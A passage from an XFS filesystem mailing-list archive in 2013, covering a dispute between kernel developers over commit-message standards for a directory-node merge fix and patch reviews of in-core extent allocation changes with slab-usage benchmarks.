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 ------=_NextPart_000_097F_01CEB97E.9BF7CFD0-- From tinguely@sgi.com Tue Sep 24 16:34:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7A78729E0B for ; Tue, 24 Sep 2013 16:34:57 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 303CA304053; Tue, 24 Sep 2013 14:34:54 -0700 (PDT) Message-ID: <5242057D.8030404@sgi.com> Date: Tue, 24 Sep 2013 16:34:53 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: stable@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfs: v2 fix node forward in xfs_node_toosmall References: <20130920220519.585903357@sgi.com> <20130923171911.273669684@sgi.com> <20130923234819.GW9901@dastard> <5241CD70.7050800@sgi.com> <20130924210653.GB26872@dastard> In-Reply-To: <20130924210653.GB26872@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/24/13 16:06, Dave Chinner wrote: > On Tue, Sep 24, 2013 at 12:35:44PM -0500, Mark Tinguely wrote: >> On 09/23/13 18:48, Dave Chinner wrote: >>> On Mon, Sep 23, 2013 at 12:18:58PM -0500, Mark Tinguely wrote: >>>> Commit f5ea1100 cleans up the disk to host conversions for >>>> node directory entries, but because a variable is reused in >>>> xfs_node_toosmall() the next node is not correctly found. >>>> If the original node is small enough (<= 3/8 of the node size), >>>> this change may incorrectly cause a node collapse when it should >>>> not. >>> >>> The comment about the size of the node triggering a collapse is >>> irrelevant - nodes always collapse at that given size. What this >>> doesn't tell us is why the crash occurs - "the next node is not >>> correctly found" is not particularly obvious, and would require >>> quite a bit of code reading to work out from first principles a >>> couple of years down the track. >>> >>> The commit message should be more precise and describe what the >>> underlying cause of the failure was. i.e. that the node is finding itself as the merge >>> candidate because we go forward, overwrite the pointers and the new >>> block's backward sibling is the original block which is where we end >>> up on teh second loop. And vice versa if we go backwards first... >>> >>> Also, the "next node" is correctly termed a "sibling", and it's >>> either the forwards or backwards sibling, not the "next" sibling as >>> the direction of movement is important. So perhaps this >>> is better written as: >>> >>> "When a node is considered for a merge with a sibling, it overwrites >>> the sibling pointers of the original node with the sibling's >>> pointers. This leads to loop considering the original node as a >>> merge candidate with itself in the second pass, and so it >>> incorrectly determines a merge should occur." >>> >> >> Are you done ranting? Get the @#$% bug patched. > > I'm deeply sorry you feel that way about the review process - it's > not just code that matters. Experience has shown us time and time > again that accurate and complete commit messages are extremely > valuable as they document the symptoms of a problem being fixed and > why the fix was needed. > > If someone needs to look at this commit in a couple of years to > determine if it matches a problem that a customer reported, they > shouldn't have to work out what the problem was and guess at it's > symptoms and impact from code analysis. The commit message should > tell them all the information they need(*). > > It took you quite some time and effort to find the problem, so it's > worthy of spending a few minutes to document that effort for > posterity. That way when someone asks you a question about the > problem, all you need to do is point them at the commit and all the > information is right at their fingertips. > > I'm not asking you to do anything I don't do already. Have you ever > wondered why I write long, verbose commit messages and changes with > verbose comments? They aren't for the reviewer - I can answer > questions in real-time about the change. The message is for someone > looking at the change in 2-3 years time when when nobody remembers > the exact circumstances of the fix anymore. > > IOWs, by clearly documenting the problem being fixed, the root cause > analysis and verification that was performed *using standard > terminology*, we make it far easier for someone to come along in 2-3 > years time and understand the fix without needing any further > information about it. > > Software engineering best practices have come a long way since the > early 90's - writing meaningful commit messages to go along with > your code changes has been considered a best practise for at least > the last 10 years.... > > Cheers, > > Dave. > > (*) If you've ever spent any time looking at the old XFS archives, > then you'll understand exactly why what I've asked for is important. > Trying to reverse-engineer why a change was made in the old XFS code > is just about impossible because all they generally have is single > line commit messages and nothing else to describe the change. > Sometimes they just point at a bug number, without any other > information at all..... You do not always practice what you preach - here is the commit message from the patch that caused this whole problem: commit f5ea110044fa858925a880b4fa9f551bfa2dfc38 Author: Dave Chinner Date: Wed Apr 24 18:58:02 2013 +1000 xfs: add CRCs to dir2/da node blocks Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers Did this patch just add CRCs to node blocks? no. And how about your patches that do not need a commit message at all?! Are these exceptions? No, I have done enough reviews of your patches, and some of your commit message are less than stunning. when your preaching, and not so subtle digs at me or SGI gets to the point of rewriting commit messages even I can't hold my tongue any more. PS. I told Ben that I do not appreciate commit messages being changed. --Mark. From david@fromorbit.com Tue Sep 24 18:33:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 79A4A7F3F for ; Tue, 24 Sep 2013 18:33:41 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 17B12AC005 for ; Tue, 24 Sep 2013 16:33:38 -0700 (PDT) X-ASG-Debug-ID: 1380065616-04bdf02f211400730001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id HRB2jhASKHcutZXv for ; Tue, 24 Sep 2013 16:33:36 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhYHAMIgQlJ5LCC0/2dsb2JhbABbgweDS7hkhT2BHBd0giUBAQQBOhwjBQsIAxQECSUPBSUDIROHfwW8VRaPOweDHYEAA5d7ijmHP4M2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail05.adl6.internode.on.net with ESMTP; 25 Sep 2013 09:03:34 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VOc6l-0000vL-HH; Wed, 25 Sep 2013 09:33:31 +1000 Date: Wed, 25 Sep 2013 09:33:31 +1000 From: Dave Chinner To: Mark Tinguely Cc: stable@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfs: v2 fix node forward in xfs_node_toosmall Message-ID: <20130924233331.GC26872@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: v2 fix node forward in xfs_node_toosmall References: <20130920220519.585903357@sgi.com> <20130923171911.273669684@sgi.com> <20130923234819.GW9901@dastard> <5241CD70.7050800@sgi.com> <20130924210653.GB26872@dastard> <5242057D.8030404@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5242057D.8030404@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1380065616 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140897 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 24, 2013 at 04:34:53PM -0500, Mark Tinguely wrote: > On 09/24/13 16:06, Dave Chinner wrote: > >On Tue, Sep 24, 2013 at 12:35:44PM -0500, Mark Tinguely wrote: > >>On 09/23/13 18:48, Dave Chinner wrote: > >>>On Mon, Sep 23, 2013 at 12:18:58PM -0500, Mark Tinguely wrote: > >>>>Commit f5ea1100 cleans up the disk to host conversions for > >>>>node directory entries, but because a variable is reused in > >>>>xfs_node_toosmall() the next node is not correctly found. > >>>>If the original node is small enough (<= 3/8 of the node size), > >>>>this change may incorrectly cause a node collapse when it should > >>>>not. .... > >>>Also, the "next node" is correctly termed a "sibling", and it's > >>>either the forwards or backwards sibling, not the "next" sibling as > >>>the direction of movement is important. So perhaps this > >>>is better written as: > >>> > >>>"When a node is considered for a merge with a sibling, it overwrites > >>>the sibling pointers of the original node with the sibling's > >>>pointers. This leads to loop considering the original node as a > >>>merge candidate with itself in the second pass, and so it > >>>incorrectly determines a merge should occur." > >>> > >> > >>Are you done ranting? Get the @#$% bug patched. > > > >I'm deeply sorry you feel that way about the review process - it's > >not just code that matters. Experience has shown us time and time > >again that accurate and complete commit messages are extremely > >valuable as they document the symptoms of a problem being fixed and > >why the fix was needed. ..... > > You do not always practice what you preach - here is the commit > message from the patch that caused this whole problem: > > commit f5ea110044fa858925a880b4fa9f551bfa2dfc38 > Author: Dave Chinner > Date: Wed Apr 24 18:58:02 2013 +1000 > > xfs: add CRCs to dir2/da node blocks > > Signed-off-by: Dave Chinner > Reviewed-by: Ben Myers > Signed-off-by: Ben Myers > > Did this patch just add CRCs to node blocks? no. > > And how about your patches that do not need a commit message at all?! The above commit has a very different context surrounding it - it was in the middle of a major feaure addition series where the process of additions had been described in the previous commits, and the one-line description is sufficient for future readers to determine that the commit is not a bug fix. If a reviewer doesn't speak up about something, then that implies the reviewer considers it acceptible. In this case, the reviewer (Ben) seemed to think the one-line description of the commit was acceptible for the context in which it was being proposed and committed. > Are these exceptions? No, I have done enough reviews of your > patches, and some of your commit message are less than stunning. Sure, some of my commit messages need work, especially as I'm spelling and grammar challenged at the best of times. I make no claim that they are perfect, but I do try to make the sufficient for the context in which they are being proposed. However - it is *your responsibility as a reviewer* to ask the author to write a more complete change log or fix omissions or clarify parts of the commit message that need improvement. If the reviewer does not ask for improvements or you chose not to review the proposed patches, then you have no grounds to complain about the contents of patches that were committed on your watch... > when your preaching, and not so subtle digs at me or SGI gets to the > point of rewriting commit messages even I can't hold my tongue any > more. You are reading way too much into a simple request, Mark. Constructive criticism of your code is not a personal attack. Quite frankly, I don't care who submits the code or who they work for - I apply the same *peer review criteria* to all code that is proposed. I'm here to make sure the code is robust, solid and maintainable into the forseeable future. I'm here to tear your patches apart and then help put it back together better than it was before. It simply doesn't matter who submits the code... > PS. I told Ben that I do not appreciate commit messages being changed. Ben did the right thing. Maintainers rewrite commit messages to improve them all the time... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Sep 24 18:44:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 05AF97F3F for ; Tue, 24 Sep 2013 18:44:53 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id DA29B8F8068 for ; Tue, 24 Sep 2013 16:44:52 -0700 (PDT) X-ASG-Debug-ID: 1380066287-04cbb02c3e13ab0b0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id ARjYpFeRr3S3xlVi for ; Tue, 24 Sep 2013 16:44:48 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhYHAB0jQlJ5LCC0/2dsb2JhbABbgweDS7hkhT2BHRd0giUBAQUeCRMcIxAIAxUDCSUPBSUDIRMeh2a8VxaPOweDHYEAA5d7ijmHP4M2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail05.adl6.internode.on.net with ESMTP; 25 Sep 2013 09:14:46 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VOcHc-0000wV-7l; Wed, 25 Sep 2013 09:44:44 +1000 Date: Wed, 25 Sep 2013 09:44:44 +1000 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: fix the wrong new_size/rnew_size at xfs_iext_realloc_direct() Message-ID: <20130924234444.GD26872@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix the wrong new_size/rnew_size at xfs_iext_realloc_direct() References: <523EA96B.3040904@oracle.com> <20130923005657.GN12541@dastard> <523FC7DB.20204@oracle.com> <20130923235642.GY9901@dastard> <52418C3A.9080506@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52418C3A.9080506@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1380066287 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140897 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 24, 2013 at 08:57:30PM +0800, Jeff Liu wrote: > On 09/24/2013 07:56 AM, Dave Chinner wrote: > > > On Mon, Sep 23, 2013 at 12:47:23PM +0800, Jeff Liu wrote: > >> Hi Dave, > >> > >> On 09/23/2013 08:56 AM, Dave Chinner wrote: > >> > >>> On Sun, Sep 22, 2013 at 04:25:15PM +0800, Jeff Liu wrote: > >>>> From: Jie Liu > >>>> > >>>> At xfs_iext_realloc_direct(), the new_size is changed by adding > >>>> if_bytes if originally the extent records are stored at the inline > >>>> extent buffer, and we have to switch from it to a direct extent > >>>> list for those new allocated extents, this is wrong. e.g, .... > >> Actually, what I want to say is that we don't need to perform > >> "new_size += ifp->if_bytes;" again at xfs_iext_realloc_direct() > >> because the new_size at xfs_iext_add() already be the size of > >> extents after adding, just as the variable comments is mentioned. > > > > Yes, I understand. > > > > What I'm really asking is that whether there is any specific impact > > you can measure as a result of changing the initial allocation size? > > i.e. are there workloads where there is a measurable difference in > > memory footprint or noticable performance impact of having to > > reallocate the direct array more frequently as files grow and/or > > shrink? > > Not yet observed any performance matter, but IMO this problem can cause > difference in dynamic memory footprint for creating a large number of > files with 3 extents and with additional kmalloc/kfree overhead for 4 > extents file. > > For the first case, the current code will allocate buffers from > kmalloc-128 slab cache rather than kmalloc-64, hence it would occupy > more memory until being dropped from the cache, e.g, > > # Create 10240 files with 3 extents > for ((i=0; i<10240; i++)) > do > xfs_io -f -c 'truncate 10m' /xfs/test_$i > xfs_io -c 'pwrite 0 1' /xfs/test_$i 2>&1 >>/dev/null > xfs_io -c 'pwrite 1m 1' /xfs/test_$i 2>&1 >>/dev/null > xfs_io -c 'pwrite 5m 1' /xfs/test_$i 2>&1 >>/dev/null > done > > # cat /proc/slab_info > # name ... > > # Non-patched -- before creating files > kmalloc-128 5391 6176 128 32 1 > kmalloc-64 21852 25152 64 64 1 > > # After that -- the number of objects in 128 slab increased significantly, while > there basically no change in 64 slab > kmalloc-128 15381 15488 128 32 1 > kmalloc-64 21958 25088 64 64 1 > > > # patched -- before creating files > kmalloc-128 5751 7072 128 32 1 > kmalloc-64 21420 24896 64 64 1 > > After after > kmalloc-128 6155 6688 128 32 1 > kmalloc-64 30464 30464 64 64 1 > > With this patch, we can reduce the memory footprint for this particular scenario. Ok, so it's used the kmalloc-64 slab much more effectively and not touched the kmalloc-128 slab. Ok, so thats a measurable difference ;) > > For the 2nd case, i.e, 4 extents file. It need to resize the direct extent list > to add the fourth extent because rnew_bytes is be re-initialized to 64 at the > beginning of xfs_iext_realloc_direct(), however the ifp->if_real_bytes is 128... ... > # The number of kmalloc calls > Default Patched > 110364 103471 And that demonstrates the impact in that the array is downsized as the array grows. Ok, I'm convinced there is a net win here :) Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Sep 24 18:45:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C1DD97F3F for ; Tue, 24 Sep 2013 18:45:43 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9367D304043 for ; Tue, 24 Sep 2013 16:45:40 -0700 (PDT) X-ASG-Debug-ID: 1380066338-04bdf02f211401370001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id lfh6qLR4QciFtQgm for ; Tue, 24 Sep 2013 16:45:39 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhYHAB0jQlJ5LCC0/2dsb2JhbABbgweDS7hkhT2BHRd0giUBAQU6HCMQCAMVAwklDwUlAyETiAS8VxaPOweDHYEAA5Qfg1yKOYc/gWaBUCo Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail05.adl6.internode.on.net with ESMTP; 25 Sep 2013 09:15:38 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VOcIT-0000wg-AV; Wed, 25 Sep 2013 09:45:37 +1000 Date: Wed, 25 Sep 2013 09:45:37 +1000 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH v2] xfs: improve xfs_iext_destroy() by freeing extent indirection array directly Message-ID: <20130924234537.GE26872@dastard> X-ASG-Orig-Subj: Re: [PATCH v2] xfs: improve xfs_iext_destroy() by freeing extent indirection array directly References: <52419C4B.2020603@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52419C4B.2020603@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1380066338 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140897 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 24, 2013 at 10:06:03PM +0800, Jeff Liu wrote: > From: Jie Liu > > To free the incore file extents stores at an indirection array, we > call the common routine xfs_iext_irec_remove() to remove a record > from the array one at a time in reverse order, which will resize an > extent indirection array repeatedly according to the array size. > > This is inefficient for dealing with a file with thousands of incore > extent records stores at indirection arrays. > > This patch improve this kind of things by freeing the extent records > from the indirection array directly so that we can get benefits for > reducing the overhead of alloc/free buffers which is depending on the > number of extents records. > > Signed-off-by: Jie Liu Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Sep 24 19:31:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 977C37F3F for ; Tue, 24 Sep 2013 19:31:19 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 33F28AC009 for ; Tue, 24 Sep 2013 17:31:16 -0700 (PDT) X-ASG-Debug-ID: 1380069073-04cbb02c3a13ae1b0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id pw1M1sHTB2ltobdA for ; Tue, 24 Sep 2013 17:31:13 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 